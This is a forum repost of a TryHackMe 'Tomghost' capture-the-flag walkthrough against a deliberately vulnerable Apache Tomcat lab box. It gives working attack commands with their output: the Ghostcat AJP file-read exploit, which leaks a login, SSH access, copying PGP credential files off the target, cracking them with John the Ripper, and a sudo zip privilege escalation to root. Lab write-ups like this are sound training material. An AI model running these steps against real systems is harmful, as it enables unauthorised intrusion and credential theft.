![]() |
|
[Tut] Tomghost “Try Hack Me” Walkthrough (Hacked) - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] Tomghost “Try Hack Me” Walkthrough (Hacked) (/thread-100404.html) |
[Tut] Tomghost “Try Hack Me” Walkthrough (Hacked) - xSicKxBot - 12-15-2022 Tomghost “Try Hack Me” Walkthrough (Hacked) 5/5 – (1 vote) TryHackMe Challenge – TomghostIn this CTF (Capture the Flag) challenge walkthrough, we will be hacking into an Apache Tomcat server using an exploit created by a Chinese developer. This exploit is available as a standalone Python file and as a Metasploit module. In the walkthrough video, I’ll demonstrate both methods of gaining an initial foothold into the box. We will use a trusty hash cracking tool, John the ripper to decrypt a password from two files found on the target machine. Logging in as the second user, we can leverage our permissions to run the zip bin as root in order to retrieve the root flag. Please note that this box contains a username with foul language. If you are easily offended by bad words, please don’t continue reading this walkthrough. ENUMERATION First, let’s export our IPs and enumerate with Code: nmapCode: export myIP=10.6.2.23
export targetIP=10.10.225.99 sudo nmap -Pn -sC -p- -O $targetIP![]() Next we will look further into the port 8009 service Code: ajp13INITIAL FOOTHOLD WITH GHOSTCAT Using Code: metasploitCode: ghostcatThe other method for retrieving the first username and password is to run the following command to use Code: ajpShooter.pyCode: metasploitCode: python ajpShooter.py http://10.10.176.124:8080 8009 /WEB-INF/web.xml read
--- _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261 <?xml version="1.0" encoding="UTF-8"?>
<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> </web-app>
****
**---**SSH INTO THE TARGET MACHINE Now that we have retrieved the Code: user:passwordCode: ssh skyfuck@10.10.176.124
Password: 8730281lkjlkjdqlksalksDuring further enumeration, we discovered two files: Code: tryhackme.ascCode: credential.pgpCode: .pgpCode: .ascFirst, we need to transfer both files to our attacker machine so that we can use john the ripper to decrypt the hash. We can use SCP (secure copy protocol to transfer the files). The following commands allow us to uncover the hidden string, which turns out to be another Code: username:passwordCode: sudo scp skyfuck@10.10.91.141:/home/skyfuck/credential.pgp ~/THM/tomghost/credential.pgp sudo scp skyfuck@10.10.91.141:/home/skyfuck/tryhackme.asc ./tomghost/tryhackme.ascOn our attacker machine we can run Code: john2hashCode: .ascCode: john2hash tryhackme.asc > hashAnd finally, we can run john the ripper now to decrypt the Code: credential.pgpCode: John – wordlist=/home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou/rockyou.txt hashThe Code: rockyou.txtCode: credential.pgpCode: gpg – import tryhackme.asc
sudo gpg – decrypt credential.pgpAnd we have it! merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j% Code: !!!
THM{GhostCat_1s_so_cr4sy}
!!!First, we need to switch over the user Merlin with: Code: su merlinWe discover with a Code: sudo -lOver on GTFObins we find a privilege escalation vector using zip to maintain SUDO permissions and retrieve the root flag: Code: merlin@ubuntu:/usr/bin$ TF=$(mktemp -u)
merlin@ubuntu:/usr/bin$ sudo zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 31%)
# whoami
root
# cd /root
# ls
root.txt ufw
# cat root.txt
THM{Z1P_1S_FAKE}Thanks for reading/watching my walkthrough. |